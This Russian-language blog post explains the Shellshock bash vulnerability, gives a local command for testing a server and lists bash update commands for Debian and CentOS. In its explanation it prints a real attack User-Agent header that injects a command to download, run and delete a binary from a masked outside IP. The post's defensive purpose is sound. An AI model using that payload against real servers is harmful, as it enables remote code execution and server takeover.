Критическая уязвимость Shellshock

1 609 посмотрели
Posted by Алексей Нещадим in IT | Tagged , , , , , , , , , , , | Leave a comment

В середине сентября была опубликована информация о том, что была найдена уязвимость в интерпретаторе bash, которая позволяет выполнять произвольный код на уязвимом сервере. Для тех кто не знает, bash - это командная оболочка в системах *nix или другими словами - интерпретатор, позволяющий выполнять различные команды, обычно после подключения к машине через SSH или Telnet. Bash также может выполнять роль парсера CGI-скриптов на веб-сервере, что мы обычно наблюдаем на запущенном Apache. Bash по умолчанию используется в операционных системах Linux, которые чрезвычайно распространены. Поэтому данная уязвимость представляет большую опасность для большинства серверов во всем мире.

В чем заключается опасность:

Основная угроза заключается в возможности произвольной установки переменных окружения внутри интерпретатора, в которых объявляются функции. Проблема возникает тогда, когда Bash продолжает обрабатывать команды после объявления функции, в результате чего мы наблюдаем атаку, связанную с внедрением кода.

Например, достаточно зайти на атакуемый сервер и подставить User-Agent, например такой:

UserAgent: () { :;}; /bin/bash -c "wget -O /var/tmp/ec.z YY.YYY.YYY.YY/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*"

Данная команда скачает на сервер файл, поставит на него права на исполнение, запустит его и затем удалит. Что может быть в этом файле? Да что угодно! Это может быть заражение сервера вирусами, превращение его в бота, выкачивание каких-нибудь файлов с сервера, удаленное управление сервером и многое другое.

С учетом того, что замена User-Agent при заходе на сайт не представляет никакой сложности, данная уязвимость может эксплуатироваться кем угодно и может привести к катастрофическим последствиям на любом сервере.

Данная уязвимость получила названия Shellshock и Bashdoor.

Как проверить, уязвим ли ваш сервер:

Достаточно зайти на него через SSH и выполнить команду

env X="() { :;} ; echo busted" /bin/sh -c "echo stuff"

Если после выполнения вы увидите слово busted и stuff одновременно - значит ваша система подвержена этой уязвимости. Если после выполнения вы видите только слово stuff - значит все в порядке, можно спать спокойно.

Как защититься от уязвимости Shellshock / Bashdoor:

Для исправления уязвимости необходимого обновить bash до последней версии.

Debian 6.X

Отредактируйте /etc/apt/sources.list и добавьте в него следующую строку:

deb http://ftp.us.debian.org/debian squeeze-lts main non-free contrib

После этого необходимо обновить информацию о пакетах:

apt-get update

И обновить сам bash:

apt-get install bash

Debian 7.X

Просто выполняем сперва

apt-get update

затем обновляем bash

apt-get install bash

Centos (все версии)

Обновляем bash командой:

yum update bash

Если Вы не имеете доступ к SSH или не имеете прав на обновление компонентов на сервере (например, используете виртуальный хостинг), то обратитесь в службу поддержки своего хостинга и дайте им ссылку на эту страницу и спросите - устранили ли они эту уязвимость на сервере, где расположен Ваш сайт.

Специалисты лаборатории безопасности Monitorus провели выборочную проверку сайтов, которая показала, что на большинстве серверов, где они расположены, уязвимость Shellshock / Bashdoor еще не устранена, и это значит что данные сайты в большой опасности. Уже сейчас известны случаи, когда злоумышленники сканируют все подряд сайты на наличие данной уязвимости.

Добавить комментарий